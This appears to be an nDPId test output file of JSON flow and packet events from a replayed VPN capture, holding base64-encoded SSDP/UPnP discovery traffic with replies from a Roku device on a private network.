+00433{"flow_id":65,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":690,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":570148,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pHczjPFANDY7z3UoCABFAAA0AABAAEAGJU0KAADjCgAAld56H0gqQcSWfIByIYAQD\/ChmAAAAQEIChwN2AgAIeBJ"} +00432{"flow_id":66,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":693,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":573371,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3Uo2DE0IHf7CABFAAA0gDJAAEAGpRgKAACXCgAA4x983nsgu1W8gn2LN4AQAVwNkAAAAQEICgaS1Y4cDdgF"} +00692{"flow_id":66,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":695,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":576174,"pkt_caplen":256,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":256,"pkt_l4_len":222,"pkt":"NDY7z3Uo2DE0IHf7CABFAADygDNAAEAGpFkKAACXCgAA4x983nsgu1W8gn2LN4AYAVx\/qAAAAQEICgaS1Y8cDdgFSFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFJva3UgVVBuUC8xLjAgTWluaVVQblBkLzEuNA0KQ29udGVudC1MZW5ndGg6IDExNDANCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQpDb250ZW50LVR5cGU6IHRleHQveG1sOyBjaGFyc2V0PSJ1dGYtOCINCkFwcGxpY2F0aW9uLVVSTDogaHR0cDovLzEwLjAuMC4xNTE6ODA2MC9kaWFsDQoNCg=="} +00433{"flow_id":66,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":696,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":576345,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"2DE0IHf7NDY7z3UoCABFAAA0AABAAEAGJUsKAADjCgAAl957H3yCfYs3ILtWeoAQEA\/+FQAAAQEIChwN2A0GktWP"} +01958{"flow_id":66,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":699,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":579863,"pkt_caplen":1206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1206,"pkt_l4_len":1172,"pkt":"NDY7z3Uo2DE0IHf7CABFAASogDRAAEAGoKIKAACXCgAA4x983nsgu1Z6gn2LN4AYAVwcKQAAAQEICgaS1Y8cDdgNPD94bWwgdmVyc2lvbj0iMS4wIj8+DQo8cm9vdCB4bWxucz0idXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlLTEtMCI+DQo8c3BlY1ZlcnNpb24+DQo8bWFqb3I+MTwvbWFqb3I+DQo8bWlub3I+MDwvbWlub3I+DQo8L3NwZWNWZXJzaW9uPg0KPGRldmljZT4NCjxkZXZpY2VUeXBlPnVybjpyb2t1LWNvbTpkZXZpY2U6cGxheWVyOjEtMDwvZGV2aWNlVHlwZT4NCjxmcmllbmRseU5hbWU+RXhwcmVzczwvZnJpZW5kbHlOYW1lPg0KPG1hbnVmYWN0dXJlcj5Sb2t1PC9tYW51ZmFjdHVyZXI+DQo8bWFudWZhY3R1cmVyVVJMPmh0dHA6Ly93d3cucm9rdS5jb20vPC9tYW51ZmFjdHVyZXJVUkw+DQo8bW9kZWxEZXNjcmlwdGlvbj5Sb2t1IFN0cmVhbWluZyBQbGF5ZXIgTmV0d29yayBNZWRpYTwvbW9kZWxEZXNjcmlwdGlvbj4NCjxtb2RlbE5hbWU+Um9rdSBFeHByZXNzPC9tb2RlbE5hbWU+DQo8bW9kZWxOdW1iZXI+MzkwMFg8L21vZGVsTnVtYmVyPg0KPG1vZGVsVVJMPmh0dHA6Ly93d3cucm9rdS5jb20vPC9tb2RlbFVSTD4NCjxzZXJpYWxOdW1iZXI+WUcwMDRKNDg2ODYzPC9zZXJpYWxOdW1iZXI+DQo8VUROPnV1aWQ6Mjk1YzAwMDQtNjgwNy0xMDZkLTgwY2YtZDgzMTM0MjA3N2ZiPC9VRE4+DQo8c2VydmljZUxpc3Q+DQo8c2VydmljZT4NCjxzZXJ2aWNlVHlwZT51cm46cm9rdS1jb206c2VydmljZTplY3A6MTwvc2VydmljZVR5cGU+DQo8c2VydmljZUlkPnVybjpyb2t1LWNvbTpzZXJ2aWNlSWQ6ZWNwMS0wPC9zZXJ2aWNlSWQ+DQo8Y29udHJvbFVSTD48L2NvbnRyb2xVUkw+DQo8ZXZlbnRTdWJVUkw+PC9ldmVudFN1YlVSTD4NCjxTQ1BEVVJMPmVjcF9TQ1BELnhtbDwvU0NQRFVSTD4NCjwvc2VydmljZT4NCjxzZXJ2aWNlPg0KPHNlcnZpY2VUeXBlPnVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MTwvc2VydmljZVR5cGU+DQo8c2VydmljZUlkPnVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlSWQ6ZGlhbDEtMDwvc2VydmljZUlkPg0KPGNvbnRyb2xVUkw+PC9jb250cm9sVVJMPg0KPGV2ZW50U3ViVVJMPjwvZXZlbnRTdWJVUkw+DQo8U0NQRFVSTD5kaWFsX1NDUEQueG1sPC9TQ1BEVVJMPg0KPC9zZXJ2aWNlPg0KPC9zZXJ2aWNlTGlzdD4NCjwvZGV2aWNlPg0KPC9yb290Pg0K"} +00432{"flow_id":66,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":700,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":579933,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"2DE0IHf7NDY7z3UoCABFAAA0AABAAEAGJUsKAADjCgAAl957H3yCfYs3ILta7oAQD+z5wQAAAQEIChwN2BAGktWP"} +00409{"flow_id":63,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":706,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":598254,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":46,"pkt_l4_len":12,"pkt":"LH6BsEqhNDY7z3UoCABFAAAg\/t4AAEARZwsKAADjCgAAAc1zAMAADAmuEAEDEA=="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":716,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1569687269716,"flow_last_seen":0,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":522,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"10.0.0.227","src_port":49816,"dst_port":57547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01091{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":716,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":716353,"pkt_caplen":556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":556,"pkt_l4_len":522,"pkt":"NDY7z3UopHczjPFACABFAAIeAABAAEARI1gKAACVCgAA48KY4MsCCjHASFRUUC8xLjEgMjAwIE9LDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTE4MDANCkRBVEU6IFNhdCwgMjggU2VwIDIwMTkgMTY6MTQ6MjkgR01UDQpFWFQ6DQpMT0NBVElPTjogaHR0cDovLzEwLjAuMC4xNDk6ODAwOC9zc2RwL2RldmljZS1kZXNjLnhtbA0KT1BUOiAiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogYjNiMTBmNmEtMWRkMS0xMWIyLWI3NDAtYWU5NDc5MzlkMzA4DQpTRVJWRVI6IExpbnV4LzMuOC4xMyssIFVQblAvMS4wLCBQb3J0YWJsZSBTREsgZm9yIFVQblAgZGV2aWNlcy8xLjYuMTgNClgtVXNlci1BZ2VudDogcmVkc29uaWMNClNUOiB1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENClVTTjogdXVpZDo3OWQ4OGU4My03MjVjLWI3MWItYmFkMC01ODYyZDViMjIzODY6OnVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KQk9PVElELlVQTlAuT1JHOiA0NzINCkNPTkZJR0lELlVQTlAuT1JHOiAxDQoNCg=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":716,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1569687269716,"flow_last_seen":0,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":522,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"10.0.0.227","src_port":49816,"dst_port":57547,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00432{"flow_id":43,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":726,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687269,"pkt_ts_usec":833566,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"2DE0IHf7NDY7z3UoCABFAAA0AABAAEAGJUsKAADjCgAAl94iH3wAQcGNmjQa94AREAAatAAAAQEIChwN2QcGksZO"} +00819{"flow_id":64,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":768,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687270,"pkt_ts_usec":260892,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"NDY7z3Uo2DE0IHf7CABFAAFTj91AAEARlEMKAACXCgAA4wds4MsBP0SkSFRUUC8xLjEgMjAwIE9LDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTM2MDANClNUOiB1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENClVTTjogdXVpZDoyOTVjMDAwNC02ODA3LTEwNmQtODBjZi1kODMxMzQyMDc3ZmI6OnVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KRXh0OiANClNlcnZlcjogUm9rdSBVUG5QLzEuMCBSb2t1LzkuMS4wDQpMT0NBVElPTjogaHR0cDovLzEwLjAuMC4xNTE6ODA2MC9kaWFsL2RkLnhtbA0KV0FLRVVQOiBNQUM9ZDg6MzE6MzQ6MjA6Nzc6ZmI7VGltZW91dD0xMA0KDQo="} +00640{"flow_id":60,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":807,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687270,"pkt_ts_usec":560308,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AQBef\/\/6NDY7z3UoCABFAADK9bsAAAERyIoKAADj7\/\/\/+uDLB2wAtl89TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KVVNFUi1BR0VOVDogR29vZ2xlIENocm9tZS83Ny4wLjM4NjUuOTAgTWFjIE9TIFgNCg0K"} +00819{"flow_id":64,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":821,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687270,"pkt_ts_usec":729313,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"NDY7z3Uo2DE0IHf7CABFAAFTkARAAEARlBwKAACXCgAA4wds4MsBP0SkSFRUUC8xLjEgMjAwIE9LDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTM2MDANClNUOiB1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENClVTTjogdXVpZDoyOTVjMDAwNC02ODA3LTEwNmQtODBjZi1kODMxMzQyMDc3ZmI6OnVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KRXh0OiANClNlcnZlcjogUm9rdSBVUG5QLzEuMCBSb2t1LzkuMS4wDQpMT0NBVElPTjogaHR0cDovLzEwLjAuMC4xNTE6ODA2MC9kaWFsL2RkLnhtbA0KV0FLRVVQOiBNQUM9ZDg6MzE6MzQ6MjA6Nzc6ZmI7VGltZW91dD0xMA0KDQo="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":822,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1569687270740,"flow_last_seen":0,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":522,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"10.0.0.227","src_port":48166,"dst_port":57547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01091{"flow_id":68,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":822,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687270,"pkt_ts_usec":740083,"pkt_caplen":556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":556,"pkt_l4_len":522,"pkt":"NDY7z3UopHczjPFACABFAAIeAABAAEARI1gKAACVCgAA47wm4MsCCkExSFRUUC8xLjEgMjAwIE9LDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTE4MDANCkRBVEU6IFNhdCwgMjggU2VwIDIwMTkgMTY6MTQ6MzAgR01UDQpFWFQ6DQpMT0NBVElPTjogaHR0cDovLzEwLjAuMC4xNDk6ODAwOC9zc2RwL2RldmljZS1kZXNjLnhtbA0KT1BUOiAiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogYjNiMTBmNmEtMWRkMS0xMWIyLWI3NDAtYWU5NDc5MzlkMzA4DQpTRVJWRVI6IExpbnV4LzMuOC4xMyssIFVQblAvMS4wLCBQb3J0YWJsZSBTREsgZm9yIFVQblAgZGV2aWNlcy8xLjYuMTgNClgtVXNlci1BZ2VudDogcmVkc29uaWMNClNUOiB1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENClVTTjogdXVpZDo3OWQ4OGU4My03MjVjLWI3MWItYmFkMC01ODYyZDViMjIzODY6OnVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KQk9PVElELlVQTlAuT1JHOiA0NzINCkNPTkZJR0lELlVQTlAuT1JHOiAxDQoNCg=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":822,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1569687270740,"flow_last_seen":0,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":522,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"10.0.0.227","src_port":48166,"dst_port":57547,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00408{"flow_id":63,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":844,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687271,"pkt_ts_usec":101324,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":46,"pkt_l4_len":12,"pkt":"LH6BsEqhNDY7z3UoCABFAAAgLGIAAEAROYgKAADjCgAAAc1zAMAADBGuCAEDEA=="} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":867,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1569687269716,"flow_last_seen":0,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":522,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"10.0.0.227","src_port":49816,"dst_port":57547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":867,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1569687268747,"flow_last_seen":0,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":522,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"10.0.0.227","src_port":50081,"dst_port":57547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":867,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1569687270740,"flow_last_seen":0,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":522,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"10.0.0.227","src_port":48166,"dst_port":57547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":867,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1569687268077,"flow_last_seen":0,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":522,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"10.0.0.227","src_port":38616,"dst_port":61328,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":867,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1569687267991,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"239.255.255.250","src_port":61328,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":867,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1569687268376,"flow_last_seen":0,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":319,"flow_max_l4_data_len":319,"flow_avg_l4_data_len":319,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.151","dst_ip":"10.0.0.227","src_port":1900,"dst_port":61328,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00640{"flow_id":60,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":881,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687271,"pkt_ts_usec":560368,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AQBef\/\/6NDY7z3UoCABFAADKB2sAAAERttsKAADj7\/\/\/+uDLB2wAtl89TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KVVNFUi1BR0VOVDogR29vZ2xlIENocm9tZS83Ny4wLjM4NjUuOTAgTWFjIE9TIFgNCg0K"} +00408{"flow_id":63,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":883,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687271,"pkt_ts_usec":606006,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":46,"pkt_l4_len":12,"pkt":"LH6BsEqhNDY7z3UoCABFAAAg1aQAAEARkEUKAADjCgAAAc1zAMAADAmuEAEDEA=="} +00432{"flow_id":43,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":884,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687271,"pkt_ts_usec":692136,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"2DE0IHf7NDY7z3UoCABFAAA0AABAAEAGJUsKAADjCgAAl94iH3wAQcGNmjQa94AREAATrAAAAQEIChwN4A8GksZO"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":885,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1569687271764,"flow_last_seen":0,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":522,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"10.0.0.227","src_port":51382,"dst_port":57547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01091{"flow_id":69,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":885,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687271,"pkt_ts_usec":764145,"pkt_caplen":556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":556,"pkt_l4_len":522,"pkt":"NDY7z3UopHczjPFACABFAAIeAABAAEARI1gKAACVCgAA48i24MsCCjOhSFRUUC8xLjEgMjAwIE9LDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTE4MDANCkRBVEU6IFNhdCwgMjggU2VwIDIwMTkgMTY6MTQ6MzEgR01UDQpFWFQ6DQpMT0NBVElPTjogaHR0cDovLzEwLjAuMC4xNDk6ODAwOC9zc2RwL2RldmljZS1kZXNjLnhtbA0KT1BUOiAiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogYjNiMTBmNmEtMWRkMS0xMWIyLWI3NDAtYWU5NDc5MzlkMzA4DQpTRVJWRVI6IExpbnV4LzMuOC4xMyssIFVQblAvMS4wLCBQb3J0YWJsZSBTREsgZm9yIFVQblAgZGV2aWNlcy8xLjYuMTgNClgtVXNlci1BZ2VudDogcmVkc29uaWMNClNUOiB1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENClVTTjogdXVpZDo3OWQ4OGU4My03MjVjLWI3MWItYmFkMC01ODYyZDViMjIzODY6OnVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KQk9PVElELlVQTlAuT1JHOiA0NzINCkNPTkZJR0lELlVQTlAuT1JHOiAxDQoNCg=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":885,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1569687271764,"flow_last_seen":0,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":522,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"10.0.0.227","src_port":51382,"dst_port":57547,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00586{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":887,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687271,"pkt_ts_usec":967353,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAABLH6BsEqhht1gAAAAAHg6\/\/6AAAAAAAAALn6B\/\/6wSqH\/AgAAAAAAAAAAAAAAAAABhgBH5kDAALQAAAAAAAAAABkFAAAAAVGAIAEFWP7tAAAAAAAAAAAAASABBVj+7QAAAAAAAAAAAAIDBEDAAAL9HQAC\/R0AAAAAJgEGRoQCRLAAAAAAAAAAABgDAAAAAAC0AAAAAAAAAAAAAAAAAAAAAAEBLH6BsEqh"} +00818{"flow_id":64,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":893,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687272,"pkt_ts_usec":80873,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"NDY7z3Uo2DE0IHf7CABFAAFTkAZAAEARlBoKAACXCgAA4wds4MsBP0SkSFRUUC8xLjEgMjAwIE9LDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTM2MDANClNUOiB1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENClVTTjogdXVpZDoyOTVjMDAwNC02ODA3LTEwNmQtODBjZi1kODMxMzQyMDc3ZmI6OnVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KRXh0OiANClNlcnZlcjogUm9rdSBVUG5QLzEuMCBSb2t1LzkuMS4wDQpMT0NBVElPTjogaHR0cDovLzEwLjAuMC4xNTE6ODA2MC9kaWFsL2RkLnhtbA0KV0FLRVVQOiBNQUM9ZDg6MzE6MzQ6MjA6Nzc6ZmI7VGltZW91dD0xMA0KDQo="} +00595{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":914,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687272,"pkt_ts_usec":376985,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"AQBeAAD7GIEORo7ICABFAACsXgQAAP8RcWwKAADV4AAA+xTpFOkAmEDPAAAAAAADAAEAAAABD19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEIX2hvbWVraXTAHAAMAAEMX3NsZWVwLXByb3h5BF91ZHDAIQAMAAHADAAMAAEAAA4EABQRTFAtUktFUlVSLU9TWCAoOSnADAAAKQWgAAARlAASAAQADgCbOoEORo7IGIEORo7I"} 